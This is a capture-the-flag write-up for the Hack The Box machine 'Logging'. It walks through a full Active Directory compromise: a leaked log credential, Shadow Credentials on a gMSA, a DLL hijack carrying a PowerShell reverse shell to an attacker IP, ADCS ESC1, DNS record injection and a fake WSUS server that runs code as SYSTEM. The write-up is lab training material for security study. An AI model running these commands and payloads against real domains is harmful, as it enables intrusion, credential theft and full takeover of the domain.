Logging WriteUp

Table of Contents

Logging WriteUp

Logging is a 🟧 Medium difficulty machine on Hack The Box, and it is one of those Active Directory boxes where you keep chaining one flaw after another until you own the whole domain. We start by reading a plaintext password someone left lying around in a log, we abuse permissions over a gMSA account to grab its hash, we jump to another user with a DLL hijacking in a scheduled task, and to finish we request an ADCS certificate via ESC1 and impersonate a WSUS server to run code as SYSTEM on the Domain Controller. It sounds like a lot, but we are going to take it slow and go bit by bit.

πŸ—ΊοΈ Attack Chain

Recon β†’ AD DC, ports 88, 389, 445, 5985, 8530-8531
      β”‚
      β–Ό
SMB \\DC01\Logs β†’ IdentitySync_Trace.log β†’ svc_recovery:Em3rg3ncyPa$$2026
      β”‚
      β–Ό
svc_recovery (GenericWrite over MSA_HEALTH$) β†’ Shadow Credentials β†’ NT hash
      β”‚
      β–Ό
evil-winrm as msa_health$ β†’ DLL hijack in UpdateMonitor β†’ shell as jaylee.clifton
      β”‚
      β–Ό
user.txt β†’ C:\Users\jaylee.clifton\Desktop\user.txt
      β”‚
      β–Ό
ADCS ESC1 (template UpdateSrv) β†’ certificate for wsus.logging.htb
      β”‚
      β–Ό
DNS injection + fake WSUS server (wsuks) β†’ PsExec as SYSTEM β†’ DA 🏴

πŸ” Reconnaissance

/etc/hosts Configuration

echo "10.129.38.171 logging.htb dc01.logging.htb" | sudo tee -a /etc/hosts

Port Scan

Phase 1. Fast TCP port discovery.

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv logging.htb

Phase 2. Version and script detection.

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv logging.htb
PortServiceDetail
53DNSSimple DNS Plus
80HTTPMicrosoft IIS 10.0
88KerberosMicrosoft Kerberos
135RPCMicrosoft RPC
139NetBIOSNetBIOS Session Service
389LDAPActive Directory LDAP
445SMBMicrosoft SMB
464KerberosKerberos password change
636LDAPSLDAP over TLS
3268LDAPGlobal Catalog
5985WinRMMicrosoft HTTPAPI 2.0
8530HTTPWSUS (Windows Server Update Services)
8531HTTPSWSUS over TLS

πŸ’‘ Ports 8530 and 8531 are the signature of WSUS running on the Domain Controller itself. Keep it in mind, it is the hint for the final escalation vector.

πŸ’‰ Initial Access

SMB Share Enumeration

Using the initial credentials wallace.everette:Welcome2026@ we enumerate available shares:

netexec smb logging.htb -u wallace.everette -p 'Welcome2026@' --shares
Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
C$                              Default share
IPC$            READ            Remote IPC
Logs            READ            
NETLOGON        READ            Logon server share 
SYSVOL          READ            Logon server share 
WSUSTemp                        A network share used by Local Publishing from a Remote WSUS Console Instance.

🎯 The Logs share has read permissions. We dump it completely:

smbclient //logging.htb/Logs -U 'logging.htb\wallace.everette%Welcome2026@' -c 'prompt OFF; mget *'
getting file \Audit_Heartbeat.log of size 1294 as Audit_Heartbeat.log (9.0 KiloBytes/sec) (average 9.0 KiloBytes/sec)
getting file \IdentitySync_Trace_20260219.log of size 8488 as IdentitySync_Trace_20260219.log (60.5 KiloBytes/sec) (average 34.5 KiloBytes/sec)
getting file \Service_State.log of size 468 as Service_State.log (3.5 KiloBytes/sec) (average 24.6 KiloBytes/sec)
getting file \TaskMonitor.log of size 1170 as TaskMonitor.log (8.6 KiloBytes/sec) (average 20.7 KiloBytes/sec)

Plaintext Credentials in the Sync Log

Among the downloaded files we find IdentitySync_Trace_20260219.log. Reviewing it reveals plaintext bind credentials:

grep -i "bind" IdentitySync_Trace_20260219.log
BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025"

πŸ’‘ The password contains the year 2025. Since logs are generated periodically and the password rotation updated the year, we try 2026:

netexec smb logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2026'
logging.htb\svc_recovery:Em3rg3ncyPa$$2026 STATUS_ACCOUNT_RESTRICTION

Clock Synchronization (Kerberos)

The Domain Controller clock is ~7 hours ahead of the attacker machine. Kerberos rejects tickets with a time difference greater than 5 minutes, so we synchronize first:

sudo ntpdate logging.htb

Kerberos Validation

impacket-getTGT 'logging.htb/svc_recovery:Em3rg3ncyPa$$2026' -dc-ip 10.129.38.171
[*] Saving ticket in svc_recovery.ccache

πŸ”Ž Active Directory Enumeration

BloodHound

export KRB5CCNAME=svc_recovery.ccache
bloodhound-ce-python -u svc_recovery -k -no-pass -d logging.htb -ns 10.129.38.171 -dc dc01.logging.htb --zip -c All

🎯 BloodHound reveals that svc_recovery has GenericWrite over the gMSA account MSA_HEALTH$.

Logging WriteUp

πŸ”‘ gMSA Abuse with Shadow Credentials

🧠 An account with GenericWrite over a machine object or gMSA can write to the msDS-KeyCredentialLink attribute, adding an attacker-controlled public key. This lets us request a TGT as that account without knowing its password. This technique is known as Shadow Credentials.

export KRB5CCNAME=svc_recovery.ccache
bloodyAD -d logging.htb --host dc01.logging.htb -u svc_recovery -k add shadowCredentials 'MSA_HEALTH$'
[+] KeyCredential generated with following sha256 of RSA key: f495014ce5136dc9e63073bf016f4869a3b8d97f2e6548034e79c476917175b9
No outfile path was provided. The certificate(s) will be stored with the filename: sCeXLog5
[+] Saved PEM certificate at path: sCeXLog5_cert.pem
[+] Saved PEM private key at path: sCeXLog5_priv.pem

Converting PEM to PFX:

openssl pkcs12 -export -out msa_health.pfx -inkey sCeXLog5_priv.pem -in sCeXLog5_cert.pem -passout pass:

Authenticating to obtain the NT hash:

certipy-ad auth -pfx msa_health.pfx -domain logging.htb -dc-ip 10.129.38.171 -username 'MSA_HEALTH$'
[*] Using principal: 'msa_health$@logging.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'msa_health.ccache'
[*] Trying to retrieve NT hash for 'msa_health$'
[*] Got hash for 'msa_health$@logging.htb': aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5

WinRM Access as msa_health$

evil-winrm -i logging.htb -u 'msa_health$' -H '603fc24ee01a9409f83c9d1d701485c5'

πŸ”€ Lateral Movement with DLL Hijacking in UpdateMonitor

Service Enumeration

We transfer PrivescCheck to the victim by serving the script with goshs:

goshs -d ~/http -p 80 -i 0.0.0.0

From the WinRM session we download and run the full analysis:

mkdir C:\Temp
iwr http://10.10.14.100/PrivescCheck.ps1 -OutFile C:\Temp\PrivescCheck.ps1
Set-ExecutionPolicy Bypass -Scope process -Force
cd c:\temp
. C:\Temp\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report $env:COMPUTERNAME`_privcheck -Format TXT,CSV,HTML

To exfiltrate the generated reports we set up an SMB server on the attacker:

sudo impacket-smbserver -comment "SHARE" SMB /home/jolmedo/smb -smb2support -user test -password test

We mount the drive and copy all three files at once:

net use k: \\10.10.14.100\smb /user:test test
copy C:\Temp\*_privcheck* k:\

🎯 PrivescCheck detects a scheduled task running UpdateMonitor.exe in the context of jaylee.clifton. The binary looks for C:\ProgramData\UpdateMonitor\Settings_Update.zip, extracts it, and loads settings_update.dll by invoking the exported function PreUpdateCheck.

We confirm by reading the task XML directly (the file path is readable even though the directory is not):

Get-Content "C:\Windows\System32\Tasks\UpdateChecker Agent"
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Principals>
    <Principal id="Author">
      <UserId>LOGGING\jaylee.clifton</UserId>
      <LogonType>Password</LogonType>
    </Principal>
  </Principals>
  <Triggers>
    <TimeTrigger>
      <Repetition>
        <Interval>PT3M</Interval>
      </Repetition>
    </TimeTrigger>
  </Triggers>
  <Actions Context="Author">
    <Exec>
      <Command>"C:\Program Files\UpdateMonitor\UpdateMonitor.exe"</Command>
      <Arguments>500 /scan=3 /autofix=true</Arguments>
    </Exec>
  </Actions>
</Task>

🎯 The task runs as LOGGING\jaylee.clifton every 3 minutes launching UpdateMonitor.exe. And the best part, msa_health$ has write permissions on C:\ProgramData\UpdateMonitor\, so we can drop a malicious ZIP there.

Binary Analysis

We exfiltrate UpdateMonitor.exe to analyze it on the attacker machine:

copy "C:\Program Files\UpdateMonitor\UpdateMonitor.exe" k:\

With strings we extract UTF-16LE literals from the .NET assembly:

strings -e l UpdateMonitor.exe | grep -iE "zip|dll|PreUpdateCheck|ProgramData|Settings|update"
C:\ProgramData\UpdateMonitor\Logs\monitor.log
C:\ProgramData\UpdateMonitor\Settings_Update.zip
C:\Program Files\UpdateMonitor\bin\
settings_update.dll
Starting Sentinel Update Check...
Checking for update on core server...
Info: Core did not find file Settings_Update.zip
Checking for update on local server...
Successfully unzipped update to 
Update failed: 
No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.
Loading update applier: 
Update check completed.
PreUpdateCheck
Calling 'PreUpdateCheck' in 
'PreUpdateCheck' not found in 

The binary implements an update mechanism following this flow:

  1. Looks for C:\ProgramData\UpdateMonitor\Settings_Update.zip
  2. Extracts the contents to C:\Program Files\UpdateMonitor\bin\
  3. Loads settings_update.dll from that path
  4. Invokes the exported function PreUpdateCheck()

🧠 This pattern simulates an update system that distributes patches as ZIP files. We abuse the mechanism by placing a malicious ZIP in C:\ProgramData\UpdateMonitor\ (writable by msa_health$). The DLL has to sit at the root of the ZIP so it extracts directly into bin\. If you put it inside a subfolder, the binary will not find it.

Compiling the Malicious DLL

On the attacker machine we generate the DLL. The PreUpdateCheck function launches a reverse shell:

#include <windows.h>
#include <stdlib.h>

__declspec(dllexport) void PreUpdateCheck(void) {
    system("cmd /c powershell -e <BASE64_REVERSE_SHELL>");
}

BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID l) {
    if (r == DLL_PROCESS_ATTACH) DisableThreadLibraryCalls(h);
    return TRUE;
}

We generate the base64 payload:

LHOST=10.10.14.100
LPORT=8443
PAYLOAD="\$c=New-Object Net.Sockets.TCPClient('$LHOST',$LPORT);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length))-ne 0){;\$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0,\$i);\$sb=(iex \$d 2>&1|Out-String);\$sb2=\$sb+'PS '+(pwd).Path+'> ';\$n=([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$n,0,\$n.Length);\$s.Flush()}"
echo -n "$PAYLOAD" | iconv -t utf-16le | base64 -w0

Compiling for 32-bit (the UpdateMonitor process is x86):

i686-w64-mingw32-gcc -shared -o settings_update.dll shell.c -s

Packaging in a ZIP:

zip -j Settings_Update.zip settings_update.dll

Upload and Trigger

We copy the ZIP from the SMB share we already have mounted. We do it this way because the evil-winrm upload command gets confused with absolute Windows paths, it takes them as a literal filename and drops the file in the current directory instead of the destination you give it.

copy k:\Settings_Update.zip C:\ProgramData\UpdateMonitor\Settings_Update.zip

We set up the listener:

penelope -p 8443

The scheduled task runs every 3 minutes. When it fires, we receive a shell as jaylee.clifton:

[+] Got reverse shell from DC01~10.129.40.143-Microsoft_Windows_Server_2019_Standard-x64-based_PC
    Assigned SessionID <8>

🚩 User Flag

type C:\Users\jaylee.clifton\Desktop\user.txt

πŸ”Ί Privilege Escalation

ADCS Enumeration and ESC1

🧠 ESC1 is a misconfiguration in ADCS templates where whoever requests the certificate can set any Subject Alternative Name (SAN) they want. If on top of that the template is good for server authentication, we can request a valid TLS certificate for whatever hostname we like. Here we are going to use it to pass ourselves off as the WSUS server.

To enumerate ADCS we only need authenticated LDAP access, we do not need jaylee.clifton’s password. The NT hash of msa_health$ that we already have works fine.

certipy-ad find \
  -u 'msa_health$@logging.htb' \
  -hashes :603fc24ee01a9409f83c9d1d701485c5 \
  -target DC01.logging.htb -dc-ip 10.129.40.143 \
  -stdout -enabled
Certificate Authorities
  0
    CA Name                             : logging-DC01-CA
    DNS Name                            : DC01.logging.htb
    Certificate Subject                 : CN=logging-DC01-CA, DC=logging, DC=htb
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Access Rights
        Enroll                          : LOGGING.HTB\Authenticated Users

Certificate Templates
  0
    Template Name                       : UpdateSrv
    Display Name                        : UpdateSrv
    Certificate Authorities             : logging-DC01-CA
    Enabled                             : True
    Client Authentication               : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Server Authentication
    Requires Manager Approval           : False
    Authorized Signatures Required      : 0
    Validity Period                     : 10 years
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOGGING.HTB\IT
                                          LOGGING.HTB\Domain Admins
                                          LOGGING.HTB\Enterprise Admins

🎯 The UpdateSrv template is vulnerable to ESC1. It has EnrolleeSuppliesSubject enabled, it does not require any manager approval and it is good for Server Authentication. And the ones who can request the certificate are the IT group, which jaylee.clifton belongs to.

Obtaining jaylee.clifton’s TGT

To request the certificate we need to authenticate as jaylee.clifton (member of the IT group), but we don’t have their password. This is where Rubeus tgtdeleg comes in. Since the scheduled task runs with LogonType: Password, there is a real Kerberos session with its TGT in memory, and tgtdeleg pulls it out for us.

iwr http://10.10.14.100/Rubeus.exe -OutFile C:\Temp\Rubeus.exe
C:\Temp\Rubeus.exe tgtdeleg /nowrap
[*] Action: Request Fake Delegation TGT (current user)

[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.logging.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

      doIFyDCCBcSgAwIBBaEDAgEWooIEyjCCBMZhggTC...

On the attacker we convert the ticket to ccache format:

echo "<BASE64>" | base64 -d > jaylee.kirbi
impacket-ticketConverter jaylee.kirbi jaylee.ccache
export KRB5CCNAME=jaylee.ccache

Certificate Request for wsus.logging.htb

Before requesting the certificate we sync the clock again, since Kerberos rejects tickets if there is more than 5 minutes of difference.

sudo ntpdate logging.htb
certipy-ad req \
  -u 'jaylee.clifton@logging.htb' -k \
  -dc-ip 10.129.40.143 \
  -target dc01.logging.htb \
  -ca 'logging-DC01-CA' \
  -template 'UpdateSrv' \
  -dns 'wsus.logging.htb' \
  -out wsus
[+] Saved certificate and private key to 'wsus.pfx'

Extracting cert and key for the WSUS server:

openssl pkcs12 -in wsus.pfx -out wsus_cert.pem -clcerts -nokeys -passin pass:
openssl pkcs12 -in wsus.pfx -out wsus_key.pem -nocerts -nodes -passin pass:

DNS Record Injection

We point wsus.logging.htb to our IP. First we create a machine account to authenticate via LDAP:

impacket-addcomputer \
  -computer-name 'attacker01$' -computer-pass 'SuperP@ss!' \
  -hashes ':603fc24ee01a9409f83c9d1d701485c5' \
  -dc-ip 10.129.198.221 'logging.htb/msa_health$'

We inject the A record via LDAP:

import ldap3, struct

ATTACKER_IP = '<YOUR_IP>'
ip = bytes(int(x) for x in ATTACKER_IP.split('.'))
record = struct.pack('<HHBBHIIII', 4, 1, 5, 0xF0, 0, 1, 180, 0, 0) + ip

s = ldap3.Server('10.129.198.221', port=389)
c = ldap3.Connection(s, user='logging.htb\\attacker01$', password='SuperP@ss!',
                     authentication=ldap3.NTLM, auto_bind=True)
c.add('DC=wsus,DC=logging.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=logging,DC=htb',
      ['top', 'dnsNode'],
      {'dnsRecord': [record], 'dnsTombstoned': 'FALSE'})
print(c.result)
python3 dns_inject.py
# {'result': 0, 'description': 'success', ...}

Fake WSUS Server

wsuks already ships its own Microsoft-signed PsExec64.exe, so you do not need to download it separately.

We install wsuks with a venv that has access to system packages, required for the Python nftables bindings:

sudo apt install python3-nftables -y
python3 -m venv --system-site-packages ~/venvs/wsuks
~/venvs/wsuks/bin/pip install wsuks

--tls-cert accepts a single file, so we combine cert and key into one PEM:

cat wsus_cert.pem wsus_key.pem > wsus.pem

wsuks resolves the WSUS server hostname locally to figure out which IP to listen on, and that IP has to be the same one we injected in the domain DNS, that is your VPN IP. So we add it to /etc/hosts.

echo "10.10.14.100 wsus.logging.htb" | sudo tee -a /etc/hosts

⚠️ If /etc/hosts already has a wsus.logging.htb entry with a different IP, remove it first: sudo sed -i '/wsus.logging.htb/d' /etc/hosts

sudo ~/venvs/wsuks/bin/wsuks --serve-only \
  --WSUS-Server wsus.logging.htb \
  --tls-cert $(pwd)/wsus.pem \
  -c '/accepteula /s cmd.exe /c "net localgroup administrators msa_health$ /add"'
[+] Command to execute: 
PsExec64.exe /accepteula /s cmd.exe /c "net localgroup administrators msa_health$ /add"
[*] ===== Starting Web Server =====
[*] Using TLS certificate 'wsus.pem' for HTTPS WSUS Server
[*] Starting WSUS Server on 10.10.14.100:8531...
[*] Serving executable as KB: 1581884
[+] Received POST request: /ClientWebService/client.asmx, ...
[+] GET request for exe: /adb45f81-3212-4d21-b0f0-1e7d5183c445/PsExec64.exe

Forcing Windows Update on the DC

From the jaylee.clifton shell:

Stop-Service wuauserv -Force
Remove-Item 'C:\Windows\SoftwareDistribution' -Recurse -Force
Start-Service wuauserv
wuauclt /resetauthorization /detectnow
usoclient StartScan

The DC contacts our fake WSUS server, downloads and executes PsExec64.exe as NT AUTHORITY\SYSTEM, which adds msa_health$ to the local administrators group.

🏴 Root Flag

With msa_health$ now a local administrator, we access via WinRM and read the flag:

evil-winrm -i logging.htb -u 'msa_health$' -H '603fc24ee01a9409f83c9d1d701485c5'
type C:\Users\toby.brynleigh\Desktop\root.txt

See you in the next machine.